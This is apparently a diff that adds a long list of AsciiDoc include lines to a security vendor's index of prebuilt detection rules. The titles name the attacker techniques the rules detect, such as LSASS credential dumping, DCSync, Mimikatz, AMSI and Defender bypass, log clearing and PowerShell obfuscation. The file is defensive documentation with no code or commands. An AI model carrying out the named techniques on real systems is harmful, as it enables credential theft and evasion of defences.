+include::prebuilt-rule-8-19-34-potential-kerberos-attack-via-bifrost.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-mount-smb-share-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-remote-ssh-login-enabled-via-systemsetup-command.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-curl-to-jamf-endpoint.asciidoc[] +include::prebuilt-rule-8-19-34-virtual-private-network-connection-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-potential-hidden-local-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-apple-mail-rule-plist-modification.asciidoc[] +include::prebuilt-rule-8-19-34-launch-service-creation-and-immediate-loading.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-hidden-login-item-via-apple-script.asciidoc[] +include::prebuilt-rule-8-19-34-authorization-plugin-modification.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-crontab-creation-or-modification.asciidoc[] +include::prebuilt-rule-8-19-34-curl-execution-via-shell-profile.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-hidden-child-process-of-launchd.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-directoryservice-plugin-modification.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-docker-shortcut-modification.asciidoc[] +include::prebuilt-rule-8-19-34-emond-rules-creation-or-modification.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-emond-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-enable-the-root-account.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-hidden-launch-agent-or-daemon.asciidoc[] +include::prebuilt-rule-8-19-34-finder-sync-plugin-registered-and-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-folder-action-script.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-a-hidden-plist-filename.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-login-or-logout-hook.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-login-hook.asciidoc[] +include::prebuilt-rule-8-19-34-manual-loading-of-a-suspicious-chromium-extension.asciidoc[] +include::prebuilt-rule-8-19-34-sublime-plugin-or-application-script-modification.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-periodic-tasks.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc[] +include::prebuilt-rule-8-19-34-unexpected-child-process-of-macos-screensaver-engine.asciidoc[] +include::prebuilt-rule-8-19-34-screensaver-plist-file-modified-by-unexpected-process.asciidoc[] +include::prebuilt-rule-8-19-34-ssfilecopyreceiver-writing-to-common-persistence-locations.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-startupitem-plist-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-calendar-file-modification.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-file-creation-via-pkg-install-script.asciidoc[] +include::prebuilt-rule-8-19-34-persistence-via-suspicious-launch-agent-or-launch-daemon.asciidoc[] +include::prebuilt-rule-8-19-34-potential-persistence-via-atom-init-script-modification.asciidoc[] +include::prebuilt-rule-8-19-34-apple-scripting-execution-with-administrator-privileges.asciidoc[] +include::prebuilt-rule-8-19-34-execution-with-explicit-credentials-via-scripting.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-child-process-of-adobe-acrobat-reader-update-service.asciidoc[] +include::prebuilt-rule-8-19-34-potential-admin-group-account-addition.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-root-crontab-file-modification.asciidoc[] +include::prebuilt-rule-8-19-34-user-added-to-the-admin-group.asciidoc[] +include::prebuilt-rule-8-19-34-spike-in-firewall-denies.asciidoc[] +include::prebuilt-rule-8-19-34-spike-in-network-traffic.asciidoc[] +include::prebuilt-rule-8-19-34-network-traffic-to-rare-destination-country.asciidoc[] +include::prebuilt-rule-8-19-34-spike-in-network-traffic-to-a-country.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-configuration-file-downloaded.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-nfs-auth-sys-root-uid-access.asciidoc[] +include::prebuilt-rule-8-19-34-accepted-default-telnet-port-connection.asciidoc[] +include::prebuilt-rule-8-19-34-cobalt-strike-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-34-default-cobalt-strike-team-server-certificate.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dns-tunneling-via-long-and-unique-subdomains.asciidoc[] +include::prebuilt-rule-8-19-34-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-possible-fin7-dga-command-and-control-behavior.asciidoc[] +include::prebuilt-rule-8-19-34-halfbaked-command-and-control-beacon.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-ipsec-nat-traversal-peer.asciidoc[] +include::prebuilt-rule-8-19-34-potential-icmp-tunneling-activity-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-rdp-remote-desktop-protocol-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-smtp-to-the-internet-on-port-26-tcp.asciidoc[] +include::prebuilt-rule-8-19-34-potential-self-signed-tls-certificate-recently-issued-on-external-connection.asciidoc[] +include::prebuilt-rule-8-19-34-vnc-virtual-network-computing-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-vnc-virtual-network-computing-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-azure-wireserver-http-request-from-unexpected-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-cloud-instance-metadata-credential-path-http-request.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc[] +include::prebuilt-rule-8-19-34-icmp-redirect-message-from-internal-host.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-sonicwall-login-failures-followed-by-successful-login.asciidoc[] +include::prebuilt-rule-8-19-34-deprecated-tls-version-or-weak-cipher-negotiated-externally.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-overly-permissive-firewall-policy-created.asciidoc[] +include::prebuilt-rule-8-19-34-icmp-timestamp-or-information-request-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-potential-network-sweep-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-network-scan-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-syn-based-port-scan-detected.asciidoc[] +include::prebuilt-rule-8-19-34-cassandra-javascript-udf-creation.asciidoc[] +include::prebuilt-rule-8-19-34-postgresql-copy-program-command-execution.asciidoc[] +include::prebuilt-rule-8-19-34-successful-amqp-multi-queue-purge-burst.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-destructive-mongodb-command-from-a-client-ip.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dhcp-starvation-via-high-client-mac-cardinality.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-memcached-writer.asciidoc[] +include::prebuilt-rule-8-19-34-repeated-stalled-tls-handshakes-via-alpn-acme-tls-1-extension.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dns-rebinding-from-public-to-private-address.asciidoc[] +include::prebuilt-rule-8-19-34-first-seen-sonicwall-remote-access-login-by-user-and-source.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-forticloud-sso-login-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-fortigate-administrator-login.asciidoc[] +include::prebuilt-rule-8-19-34-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc[] +include::prebuilt-rule-8-19-34-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc[] +include::prebuilt-rule-8-19-34-react2shell-cve-2025-55182-exploitation-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-react2shell-network-security-alert.asciidoc[] +include::prebuilt-rule-8-19-34-rpc-remote-procedure-call-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-rpc-remote-procedure-call-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-from-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-smb-windows-file-sharing-activity-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-34-splunk-enterprise-postgresql-backup-to-restore-potential-rce-sequence.asciidoc[] +include::prebuilt-rule-8-19-34-splunk-enterprise-postgresql-recovery-endpoint-injection-artifacts.asciidoc[] +include::prebuilt-rule-8-19-34-thrift-rpc-method-from-an-external-client.asciidoc[] +include::prebuilt-rule-8-19-34-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc[] +include::prebuilt-rule-8-19-34-abnormally-large-dns-response.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-administrator-account-creation-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-sso-login-followed-by-administrator-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-super-admin-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-mysql-user-defined-function-injection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-redis-config-set-cron-directory-persistence-redisraider.asciidoc[] +include::prebuilt-rule-8-19-34-potential-redis-config-set-ssh-authorized-key-injection.asciidoc[] +include::prebuilt-rule-8-19-34-credential-dumping-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-credential-dumping-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-crowdstrike-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-elastic-security-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-adversary-behavior-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-malware-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-malware-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-ransomware-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-ransomware-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-exploit-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-exploit-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-google-secops-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-ibm-qradar-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-defender-xdr-alert-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-defender-xdr-incident-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-sentinel-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-credential-manipulation-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-credential-manipulation-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-permission-theft-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-permission-theft-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-process-injection-detected-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-process-injection-prevented-elastic-endgame.asciidoc[] +include::prebuilt-rule-8-19-34-sentinelone-alert-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-sentinelone-threat-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-splunk-external-alerts.asciidoc[] +include::prebuilt-rule-8-19-34-threat-intel-ip-address-indicator-match.asciidoc[] +include::prebuilt-rule-8-19-34-threat-intel-email-indicator-match.asciidoc[] +include::prebuilt-rule-8-19-34-threat-intel-hash-indicator-match.asciidoc[] +include::prebuilt-rule-8-19-34-threat-intel-windows-registry-indicator-match.asciidoc[] +include::prebuilt-rule-8-19-34-threat-intel-url-indicator-match.asciidoc[] +include::prebuilt-rule-8-19-34-rapid7-threat-command-cves-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-inter-process-communication-via-outlook.asciidoc[] +include::prebuilt-rule-8-19-34-exporting-exchange-mailbox-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-exchange-mailbox-export-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-suspicious-script-with-clipboard-retrieval-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-keylogging-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-mailbox-collection-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-suspicious-script-with-screenshot-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-with-webcam-video-capture-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-encrypting-files-with-winrar-or-7z.asciidoc[] +include::prebuilt-rule-8-19-34-potential-file-transfer-via-certreq.asciidoc[] +include::prebuilt-rule-8-19-34-connection-to-commonly-abused-web-services.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-dns-query-to-rmm-domain.asciidoc[] +include::prebuilt-rule-8-19-34-network-activity-to-a-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dns-tunneling-via-nslookup.asciidoc[] +include::prebuilt-rule-8-19-34-connection-to-commonly-abused-free-ssl-certificate-providers.asciidoc[] +include::prebuilt-rule-8-19-34-potential-file-download-via-a-headless-browser.asciidoc[] +include::prebuilt-rule-8-19-34-potential-command-and-control-via-internet-explorer.asciidoc[] +include::prebuilt-rule-8-19-34-ingress-transfer-via-windows-bits.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-remote-management-tool-vendors-on-same-host.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-remote-monitoring-and-management-tool.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-rmm-signer-across-the-environment.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-screenconnect-host-server.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ssh-reverse-port-forwarding.asciidoc[] +include::prebuilt-rule-8-19-34-outlook-home-page-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-port-forwarding-rule-addition.asciidoc[] +include::prebuilt-rule-8-19-34-quick-assist-full-control-sharing-mode-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remote-desktop-tunneling-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remcos-trojan-execution.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-download-via-desktopimgdownldr-utility.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-download-via-mpcmdrun.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-download-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-download-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-remote-management-access-launch-after-msi-install.asciidoc[] +include::prebuilt-rule-8-19-34-netsupport-manager-execution-from-an-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-screenconnect-client-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-copy-via-teamviewer.asciidoc[] +include::prebuilt-rule-8-19-34-potential-file-transfer-via-curl-for-windows.asciidoc[] +include::prebuilt-rule-8-19-34-potential-protocol-tunneling-via-cloudflared.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-establish-vscode-remote-tunnel.asciidoc[] +include::prebuilt-rule-8-19-34-potential-protocol-tunneling-via-yuze.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-shell-execution-via-velociraptor.asciidoc[] +include::prebuilt-rule-8-19-34-potential-certighost-ad-cs-machine-identity-mismatch-cve-2026-54121.asciidoc[] +include::prebuilt-rule-8-19-34-potential-adidns-poisoning-via-wildcard-record-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-wpad-spoofing-via-dns-record-creation.asciidoc[] +include::prebuilt-rule-8-19-34-browser-process-spawned-from-an-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-34-privileged-accounts-brute-force.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-logon-failure-followed-by-logon-success.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-logon-failure-from-the-same-source-address.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-windows-utilities.asciidoc[] +include::prebuilt-rule-8-19-34-ntds-or-sam-database-file-copied.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-trusted-developer-utility.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-account-performing-dcsync.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-dcsync.asciidoc[] +include::prebuilt-rule-8-19-34-potential-active-directory-replication-account-backdoor.asciidoc[] +include::prebuilt-rule-8-19-34-kerberos-pre-authentication-disabled-for-user.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-a-dns-named-record.asciidoc[] +include::prebuilt-rule-8-19-34-potential-computer-account-ntlm-relay-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-kerberos-relay-attack-against-a-computer-account.asciidoc[] +include::prebuilt-rule-8-19-34-potential-ntlm-relay-attack-against-a-computer-account.asciidoc[] +include::prebuilt-rule-8-19-34-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc[] +include::prebuilt-rule-8-19-34-credential-acquisition-via-registry-hive-dumping.asciidoc[] +include::prebuilt-rule-8-19-34-potential-entra-id-prt-extraction-via-browsercore.asciidoc[] +include::prebuilt-rule-8-19-34-full-user-mode-dumps-enabled-system-wide.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-iis-service-account-password-dumped.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-iis-connection-strings-decryption.asciidoc[] +include::prebuilt-rule-8-19-34-untrusted-dll-loaded-by-azure-ad-connect-authentication-agent.asciidoc[] +include::prebuilt-rule-8-19-34-kerberos-traffic-from-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc[] +include::prebuilt-rule-8-19-34-potential-kerberos-spn-spoofing-via-suspicious-dns-query.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-rc4-kerberos-service-ticket-request.asciidoc[] +include::prebuilt-rule-8-19-34-kirbi-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-access-to-a-sensitive-ldap-attribute.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-lsass-access-via-malseclogon.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-module-loaded-by-lsass.asciidoc[] +include::prebuilt-rule-8-19-34-lsass-memory-dump-creation.asciidoc[] +include::prebuilt-rule-8-19-34-lsass-memory-dump-handle-access.asciidoc[] +include::prebuilt-rule-8-19-34-lsass-process-access-via-windows-api.asciidoc[] +include::prebuilt-rule-8-19-34-potential-machine-account-relay-attack-via-smb.asciidoc[] +include::prebuilt-rule-8-19-34-mimikatz-memssp-log-file-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-invoke-mimikatz-powershell-script.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-wdigest-security-provider.asciidoc[] +include::prebuilt-rule-8-19-34-windows-registry-file-creation-in-smb-share.asciidoc[] +include::prebuilt-rule-8-19-34-network-logon-provider-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-pkinit-followed-by-same-principal-u2u-service-ticket.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-invoke-ninjacopy-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-kerberos-ticket-dump.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-minidump-script.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-pass-the-hash-relay-script.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-kerberos-ticket-request.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-with-veeam-credential-access-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-duplicatehandle-in-lsass.asciidoc[] +include::prebuilt-rule-8-19-34-protected-storage-service-access-via-smb.asciidoc[] +include::prebuilt-rule-8-19-34-rare-connection-to-webdav-target.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-registry-hive-access-via-regback.asciidoc[] +include::prebuilt-rule-8-19-34-potential-local-ntlm-relay-via-http.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remote-credential-access-via-registry.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-vault-web-credentials-read.asciidoc[] +include::prebuilt-rule-8-19-34-searching-for-saved-credentials-via-vaultcmd.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-principal.asciidoc[] +include::prebuilt-rule-8-19-34-potential-shadow-credentials-added-to-ad-object.asciidoc[] +include::prebuilt-rule-8-19-34-user-account-exposed-to-kerberoasting.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-renamed-com-services-dll.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-lsass-process-access.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-access-via-lsass-memory-dump.asciidoc[] +include::prebuilt-rule-8-19-34-potential-lsass-memory-dump-via-psscapturesnapshot.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc[] +include::prebuilt-rule-8-19-34-symbolic-link-to-shadow-copy-created.asciidoc[] +include::prebuilt-rule-8-19-34-veeam-backup-library-loaded-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-veeam-credential-access-command.asciidoc[] +include::prebuilt-rule-8-19-34-potential-lsass-clone-creation-via-psscapturesnapshot.asciidoc[] +include::prebuilt-rule-8-19-34-ntds-dump-via-wbadmin.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-web-config-file-access.asciidoc[] +include::prebuilt-rule-8-19-34-wireless-credential-dumping-using-netsh-command.asciidoc[] +include::prebuilt-rule-8-19-34-adding-hidden-file-attribute-via-attrib.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-antimalware-scan-interface-dll.asciidoc[] +include::prebuilt-rule-8-19-34-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-potential-amsi-bypass-via-rpc-runtime-hooking.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-amsienable-registry-key.asciidoc[] +include::prebuilt-rule-8-19-34-potential-evasion-via-boot-time-removal-tool.asciidoc[] +include::prebuilt-rule-8-19-34-clearing-windows-console-history.asciidoc[] +include::prebuilt-rule-8-19-34-clearing-windows-event-logs.asciidoc[] +include::prebuilt-rule-8-19-34-windows-event-logs-cleared.asciidoc[] +include::prebuilt-rule-8-19-34-code-signing-policy-modification-through-built-in-tools.asciidoc[] +include::prebuilt-rule-8-19-34-code-signing-policy-modification-through-registry.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-communication-app-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-creation-or-modification-of-root-certificate.asciidoc[] +include::prebuilt-rule-8-19-34-windows-cryptoapi-spoofing-vulnerability-cve-2020-0601-curveball.asciidoc[] +include::prebuilt-rule-8-19-34-windows-defender-disabled-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-windows-defender-exclusions-added-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-delete-volume-usn-journal-with-fsutil.asciidoc[] +include::prebuilt-rule-8-19-34-network-level-authentication-nla-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-block-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-disable-windows-firewall-rules-via-netsh.asciidoc[] +include::prebuilt-rule-8-19-34-disabling-windows-defender-security-settings-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc[] +include::prebuilt-rule-8-19-34-dns-over-https-enabled-via-registry.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-net-code-compilation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-edr-freeze-via-werfaultsecure-abuse.asciidoc[] +include::prebuilt-rule-8-19-34-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc[] +include::prebuilt-rule-8-19-34-enable-host-network-discovery-via-netsh.asciidoc[] +include::prebuilt-rule-8-19-34-control-panel-process-with-unusual-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-imageload-via-windows-update-auto-update-client.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-build-engine-started-by-an-office-application.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-script-process.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-system-process.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-build-engine-using-an-alternate-name.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-build-engine-started-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-microsoft-antimalware-service-execution.asciidoc[] +include::prebuilt-rule-8-19-34-executable-file-creation-with-multiple-extensions.asciidoc[] +include::prebuilt-rule-8-19-34-process-execution-from-an-unusual-directory.asciidoc[] +include::prebuilt-rule-8-19-34-iis-http-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-proxy-execution-via-console-window-host.asciidoc[] +include::prebuilt-rule-8-19-34-command-execution-via-forfiles.asciidoc[] +include::prebuilt-rule-8-19-34-proxy-execution-via-windows-openssh.asciidoc[] +include::prebuilt-rule-8-19-34-process-injection-by-the-microsoft-build-engine.asciidoc[] +include::prebuilt-rule-8-19-34-installutil-process-making-network-connections.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-windows-command-debugging-utility.asciidoc[] +include::prebuilt-rule-8-19-34-disabling-lsa-protection-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-34-mark-of-the-web-removal-by-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-endpoint-security-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-masquerading-as-business-app-installer.asciidoc[] +include::prebuilt-rule-8-19-34-potential-masquerading-as-communication-apps.asciidoc[] +include::prebuilt-rule-8-19-34-renamed-automation-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-werfault-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-program-files-directory-masquerading.asciidoc[] +include::prebuilt-rule-8-19-34-potential-windows-error-manager-masquerading.asciidoc[] +include::prebuilt-rule-8-19-34-potential-masquerading-as-system32-dll.asciidoc[] +include::prebuilt-rule-8-19-34-microsoft-windows-defender-tampering.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-via-signed-binary.asciidoc[] +include::prebuilt-rule-8-19-34-system-file-ownership-change.asciidoc[] +include::prebuilt-rule-8-19-34-ms-office-macro-security-registry-modifications.asciidoc[] +include::prebuilt-rule-8-19-34-msbuild-making-network-connections.asciidoc[] +include::prebuilt-rule-8-19-34-mshta-making-network-connections.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-microsoft-html-application-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-msiexec-service-child-process-with-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remote-install-via-msiexec.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-via-msxsl.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-network-activity-from-a-windows-system-binary.asciidoc[] +include::prebuilt-rule-8-19-34-potential-netntlmv1-downgrade-attack.asciidoc[] +include::prebuilt-rule-8-19-34-command-obfuscation-via-unicode-modifier-letters.asciidoc[] +include::prebuilt-rule-8-19-34-parent-process-pid-spoofing.asciidoc[] +include::prebuilt-rule-8-19-34-local-account-tokenfilter-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-net-reflection-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-suspicious-payload-encoded-and-compressed.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-with-windows-defender-tampering-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-script-with-encryption-decryption-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscated-script-via-high-entropy.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc[] +include::prebuilt-rule-8-19-34-potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-34-dynamic-iex-reconstruction-via-method-string-access.asciidoc[] +include::prebuilt-rule-8-19-34-powershell-obfuscation-via-negative-index-string-reversal.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-reverse-keywords.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-concatenation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-string-reordering.asciidoc[] +include::prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-special-character-overuse.asciidoc[] +include::prebuilt-rule-8-19-34-potential-process-injection-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-windows-firewall-disabled-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-microsoft-diagnostics-wizard-execution.asciidoc[] +include::prebuilt-rule-8-19-34-dns-global-query-block-list-modified-or-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-potential-remotemonologue-attack.asciidoc[] 